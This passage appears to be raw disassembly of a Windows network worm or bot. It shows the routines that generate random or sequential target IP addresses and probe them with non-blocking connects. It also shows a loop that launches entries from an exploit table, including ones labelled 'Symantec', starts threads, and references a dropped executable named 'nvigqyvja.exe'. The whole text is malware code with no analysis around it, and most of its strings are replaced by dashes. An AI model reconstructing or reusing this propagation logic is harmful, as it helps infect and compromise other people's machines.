call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esp, 1Ch
loc_40B6B3: ; CODE XREF: sub_40B64B+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B67E
pop esi
loc_40B6BD: ; CODE XREF: sub_40B64B+2Bj
push dword_4CB394
call sub_41A88C
pop ecx
push eax
push ebx
lea eax, [ebp+Source]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B64B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B71A(int,char *Str,int)
sub_40B71A proc near ; CODE XREF: sub_401ACD+2AE0p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE160
mov ecx, dword_4CE15C
push esi
push dword_4CB394
lea esi, [ecx+eax]
call sub_41A88C
pop ecx
push eax
push esi
push dword_4CE160
lea eax, [ebp+Dest]
push dword_4CE15C
push offset asc_431EBC ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 30h
pop esi
leave
retn
sub_40B71A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B786(int,char *Str,int)
sub_40B786 proc near ; CODE XREF: sub_401ACD+2ACAp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB394
call sub_41A88C
pop ecx
push eax
lea eax, [ebp+Dest]
push dword_4CE3A4
push offset asc_431F04 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 28h
leave
retn
sub_40B786 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B7DB(int,char *Str,int)
sub_40B7DB proc near ; CODE XREF: sub_401ACD+2AB4p
Source = byte ptr -1000h
Dest = byte ptr -800h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call __alloca_probe
push edi
lea eax, [ebp+Dest]
push offset asc_431F50 ; "-"
push eax ; Dest
call _sprintf
cmp dword_431B00, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B847
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B810: ; CODE XREF: sub_40B7DB+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+Source]
push offset asc_431F40 ; " "
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B810
pop esi
loc_40B847: ; CODE XREF: sub_40B7DB+2Dj
push dword_4CB394
call sub_41A88C
pop ecx
push eax
lea eax, [ebp+Source]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 30h
pop edi
leave
retn
sub_40B7DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8A2 proc near ; DATA XREF: sub_401ACD+30E1o
Dest = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
Format = byte ptr -134h
Str = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+Format]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+Format]
push eax
call dword_4CB694 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp dword_431B00, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40BA04
mov ebx, offset dword_431B00
mov eax, ebx
loc_40B8F3: ; CODE XREF: sub_40B8A2+15Cj
push [ebp+var_1C]
push dword ptr [eax]
push [ebp+var_8]
call sub_40C088
add esp, 0Ch
cmp eax, 1
jnz loc_40B9F4
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp+Format]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp+Dest]
push offset asc_431FA0 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_24] ; int
call sub_409A73
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 2Ch
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+var_1EC]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_15C]
pop ecx
push esi ; Format
push eax ; Dest
call _sprintf
cmp [ebp+var_A4], 0
pop ecx
pop ecx
lea eax, [ebp+var_A4]
jnz short loc_40B98F
lea eax, [ebp+Str]
loc_40B98F: ; CODE XREF: sub_40B8A2+E5j
push eax ; Format
lea eax, [ebp+var_1DC]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40B9F4: ; CODE XREF: sub_40B8A2+64j
inc [ebp+arg_0]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40B8F3
loc_40BA04: ; CODE XREF: sub_40B8A2+44j
push [ebp+var_4]
lea eax, [ebp+Format]
push eax
lea eax, [ebp+Dest]
push offset asc_431F6C ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_24] ; int
call sub_409A73
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_18]
call sub_40B413
add esp, 2Ch
push edi
call ds:dword_4270CC ; ExitThread
sub_40B8A2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BA57(int,char *Str,int,int)
sub_40BA57 proc near ; CODE XREF: sub_401ACD+244Fp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B33F
test eax, eax
pop ecx
jle short loc_40BA93
mov eax, [ebp+arg_C]
push dword_4CB7A0[eax*8]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_431FF0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_40BAA6
; ---------------------------------------------------------------------------
loc_40BA93: ; CODE XREF: sub_40BA57+13j
lea eax, [ebp+Dest]
push offset asc_431FD0 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40BAA6: ; CODE XREF: sub_40BA57+3Aj
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 18h
leave
retn
sub_40BA57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BACE(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_40BACE proc near ; CODE XREF: sub_40C33D+4Fp
var_210 = dword ptr -210h
Source = byte ptr -204h
var_4 = byte ptr -4
Format = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BFA0
shl eax, 6
xor ebx, ebx
cmp dword_431B0C[eax], ebx
jz loc_40BFA0
push 5
call sub_40B33F
test eax, eax
pop ecx
jnz loc_40BD55
mov eax, dword_429078
push edi
mov esi, offset dword_4CD85C
push 104h
push esi
push ebx
mov dword_4CDA6C, eax
mov dword_4CDA68, ebx
call ds:dword_427070 ; GetModuleFileNameA
mov edi, offset Str ; "nvigqyvja.exe"
push 103h ; Count
push edi ; Source
push offset byte_4CD960 ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD858, eax
mov eax, [ebp+arg_138]
push 7Fh ; Count
mov dword_4CDAF0, eax
jnz short loc_40BB81
lea eax, [ebp+Format]
push eax ; Source
push offset byte_4CDA70 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CDAF4, 1
jmp short loc_40BB9B
; ---------------------------------------------------------------------------
loc_40BB81: ; CODE XREF: sub_40BACE+94j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4CDA70 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CDAF4, ebx
loc_40BB9B: ; CODE XREF: sub_40BACE+B1j
push esi
lea eax, [ebp+Source]
push dword_4CDA6C
push offset asc_42C558 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 5 ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov dword_4CDA64, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD858
push offset sub_411797
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, dword_4CDA64
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BC09
loc_40BBF7: ; CODE XREF: sub_40BACE+139j
cmp dword_4CDAF8, ebx
jnz short loc_40BC24
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40BBF7
; ---------------------------------------------------------------------------
loc_40BC09: ; CODE XREF: sub_40BACE+127j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_432110 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40BC24: ; CODE XREF: sub_40BACE+12Fj
lea eax, [ebp+Source]
push eax
call sub_4151AD
mov eax, dword_4CB390
mov esi, offset dword_4CDB04
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CDD14, eax
mov dword_4CDD10, ebx
call ds:dword_427070 ; GetModuleFileNameA
push 103h ; Count
push edi ; Source
push offset byte_4CDC08 ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDB00, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CDD98, eax
push 7Fh ; Count
jnz short loc_40BCA5
lea eax, [ebp+Format]
push eax ; Source
push offset byte_4CDD18 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CDD9C, 1
jmp short loc_40BCBF
; ---------------------------------------------------------------------------
loc_40BCA5: ; CODE XREF: sub_40BACE+1B8j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4CDD18 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CDD9C, ebx
loc_40BCBF: ; CODE XREF: sub_40BACE+1D5j
push esi
lea eax, [ebp+Source]
push dword_4CDD14
push offset asc_4320DC ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 4 ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov dword_4CDD0C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB00
push offset sub_40E992
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, dword_4CDD0C
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BD2D
loc_40BD1B: ; CODE XREF: sub_40BACE+25Dj
cmp dword_4CDDA0, ebx
jnz short loc_40BD48
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40BD1B
; ---------------------------------------------------------------------------
loc_40BD2D: ; CODE XREF: sub_40BACE+24Bj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_4320A8 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40BD48: ; CODE XREF: sub_40BACE+253j
lea eax, [ebp+Source]
push eax
call sub_4151AD
pop ecx
loc_40BD55: ; CODE XREF: sub_40BACE+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_431B14[ecx], ebx
jz loc_40BE7E
push 7
call sub_40B33F
test eax, eax
pop ecx
jnz loc_40BE78
mov eax, dword_4CE39C
cmp [ebp+arg_90], bl
mov dword_4CD7C4, eax
mov eax, [ebp+arg_110]
mov dword_4CD7B8, eax
mov eax, [ebp+arg_138]
mov dword_4CD7C0, ebx
mov dword_4CD848, eax
push 7Fh ; Count
jnz short loc_40BDC9
lea eax, [ebp+Format]
push eax ; Source
push offset byte_4CD7C8 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CD84C, 1
jmp short loc_40BDE3
; ---------------------------------------------------------------------------
loc_40BDC9: ; CODE XREF: sub_40BACE+2DCj
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4CD7C8 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CD84C, ebx
loc_40BDE3: ; CODE XREF: sub_40BACE+2F9j
push dword_4CD7C4
lea eax, [ebp+Source]
push offset asc_432078 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 7 ; int
push eax ; Source
call sub_40B0F7
add esp, 18h
mov dword_4CD7BC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD7B8
push offset sub_40E6F0
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, dword_4CD7BC
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BE50
loc_40BE3E: ; CODE XREF: sub_40BACE+380j
cmp dword_4CD850, ebx
jnz short loc_40BE6B
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40BE3E
; ---------------------------------------------------------------------------
loc_40BE50: ; CODE XREF: sub_40BACE+36Ej
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_432040 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40BE6B: ; CODE XREF: sub_40BACE+376j
lea eax, [ebp+Source]
push eax
call sub_4151AD
pop ecx
loc_40BE78: ; CODE XREF: sub_40BACE+2A8j
mov eax, [ebp+arg_130]
loc_40BE7E: ; CODE XREF: sub_40BACE+298j
shl eax, 6
cmp dword_431B10[eax], ebx
jz loc_40BFA0
push 3
call sub_40B33F
test eax, eax
pop ecx
jnz loc_40BFA0
mov esi, offset byte_4CE034
push 104h
push esi
push ebx
call ds:dword_427070 ; GetModuleFileNameA
push 5Ch ; Ch
push esi ; Str
call _strrchr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BEBF
mov [eax], bl
loc_40BEBF: ; CODE XREF: sub_40BACE+3EDj
mov eax, dword_42907C
mov dword_4CE14C, ebx
mov dword_4CE138, eax
lea eax, [ebp+Format]
push eax ; Format
push offset byte_4CDDAC ; Dest
call _sprintf
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CDDA8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE138
mov dword_4CE144, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE148, ecx
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+Source]
push offset asc_42C4E0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 3 ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov dword_4CE140, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDDA8
push offset sub_40F0D6
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, dword_4CE140
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BF78
loc_40BF66: ; CODE XREF: sub_40BACE+4A8j
cmp dword_4CE154, ebx
jnz short loc_40BF93
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40BF66
; ---------------------------------------------------------------------------
loc_40BF78: ; CODE XREF: sub_40BACE+496j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_43200C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40BF93: ; CODE XREF: sub_40BACE+49Ej
lea eax, [ebp+Source]
push eax
call sub_4151AD
pop ecx
loc_40BFA0: ; CODE XREF: sub_40BACE+14j
; sub_40BACE+25j ...
pop esi
pop ebx
leave
retn
sub_40BACE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BFA4(int Dst)
sub_40BFA4 proc near ; CODE XREF: sub_40C125:loc_40C196p
Dst = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+Dst]
push esi
push 4 ; Size
lea esi, ds:4CB7A0h[eax*8]
lea eax, [ebp+Dst]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call dword_4CB57C ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call dword_4CB650 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
push esi ; Dst
call _memcpy
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BFA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BFEC(char *Src,int)
sub_40BFEC proc near ; CODE XREF: sub_40C125+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+Src] ; Str
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call _strlen
cmp eax, 0Fh
pop ecx
jbe short loc_40C014
xor eax, eax
jmp short loc_40C085
; ---------------------------------------------------------------------------
loc_40C014: ; CODE XREF: sub_40BFEC+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+Src] ; Src
call _sscanf
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C041
call _rand
mov [ebp+var_C], eax
loc_40C041: ; CODE XREF: sub_40BFEC+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C04E
call _rand
mov [ebp+var_8], eax
loc_40C04E: ; CODE XREF: sub_40BFEC+58j
cmp [ebp+var_4], esi
jnz short loc_40C05B
call _rand
mov [ebp+var_4], eax
loc_40C05B: ; CODE XREF: sub_40BFEC+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C067
call _rand
loc_40C067: ; CODE XREF: sub_40BFEC+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CB7A0[ecx*8], eax
loc_40C085: ; CODE XREF: sub_40BFEC+26j
pop esi
leave
retn
sub_40BFEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C088 proc near ; CODE XREF: sub_40B8A2+59p
; sub_40C125+BBp
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CB6D4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C0B1
xor eax, eax
jmp short loc_40C120
; ---------------------------------------------------------------------------
loc_40C0B1: ; CODE XREF: sub_40C088+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB654 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CB6F0 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB5FC ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB63C ; select
push esi
mov edi, eax
call dword_4CB6EC ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40C120: ; CODE XREF: sub_40C088+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C088 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C125 proc near ; DATA XREF: sub_40C33D+13Bo
var_2A8 = dword ptr -2A8h
Dest = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
Src = byte ptr -150h
var_140 = byte ptr -140h
Str = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+Src]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C16C: ; CODE XREF: sub_40C125+204j
mov eax, dword_43E594[ebx]
cmp dword_4CB7A4[eax*8], 0
jz loc_40C32E
cmp [ebp+var_10], 0
push eax ; Dst
jz short loc_40C196
lea eax, [ebp+Src]
push eax ; Src
call sub_40BFEC
pop ecx
jmp short loc_40C19B
; ---------------------------------------------------------------------------
loc_40C196: ; CODE XREF: sub_40C125+60j
call sub_40BFA4
loc_40C19B: ; CODE XREF: sub_40C125+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E594[ebx]
push [ebp+var_3C]
push edi
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_43216C ; "-"
push eax ; Dest
call _sprintf
add esp, 18h
lea eax, [ebp+Dest]
push eax ; Format
lea eax, dword_43E390[ebx]
push eax ; Dest
call _sprintf
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C088
add esp, 14h
cmp eax, 1
jnz loc_40C31E
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C272
push offset dword_4CD7A0
call ds:dword_4270D4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_432144 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C254
cmp [ebp+Str], 0
push 1 ; int
push [ebp+var_18] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Str]
jnz short loc_40C248
lea eax, [ebp+var_140]
loc_40C248: ; CODE XREF: sub_40C125+11Bj
push eax ; Str
push [ebp+var_40] ; int
call sub_409A73
add esp, 14h
loc_40C254: ; CODE XREF: sub_40C125+100j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
mov [esp+2A8h+var_2A8], offset dword_4CD7A0
call ds:dword_4270D0 ; RtlLeaveCriticalSection
jmp loc_40C31E
; ---------------------------------------------------------------------------
loc_40C272: ; CODE XREF: sub_40C125+D0j
push edi
call dword_4CB6E0 ; inet_ntoa
push eax ; Format
lea eax, [ebp+var_208]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax ; Format
lea eax, [ebp+var_178]
push eax ; Dest
call _sprintf
cmp [ebp+Str], 0
pop ecx
pop ecx
lea eax, [ebp+Str]
jnz short loc_40C2B7
lea eax, [ebp+var_140]
loc_40C2B7: ; CODE XREF: sub_40C125+18Aj
push eax ; Format
lea eax, [ebp+var_1F8]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_431B04[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C31E: ; CODE XREF: sub_40C125+C6j
; sub_40C125+148j
push 7D0h
call ds:dword_427078 ; Sleep
jmp loc_40C16C
; ---------------------------------------------------------------------------
loc_40C32E: ; CODE XREF: sub_40C125+55j
push esi
call sub_40B413
pop ecx
push 0
call ds:dword_4270CC ; ExitThread
sub_40C125 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C33D proc near ; DATA XREF: sub_401ACD+1F82o
; sub_401ACD+5C49o
var_1DC = dword ptr -1DCh
Source = byte ptr -1CCh
var_14C = byte ptr -14Ch
Str = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CB694 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CB7A0[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BACE
push 0Bh
call sub_40B33F
add esp, 150h
cmp eax, ebx
jnz short loc_40C40B
mov esi, offset dword_4CD7A0
push esi
call ds:dword_4270DC ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_4270D8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40C40B
lea eax, [ebp+Source]
push offset asc_432250 ; "-"
push eax ; Dest
call _sprintf
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C3F5
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
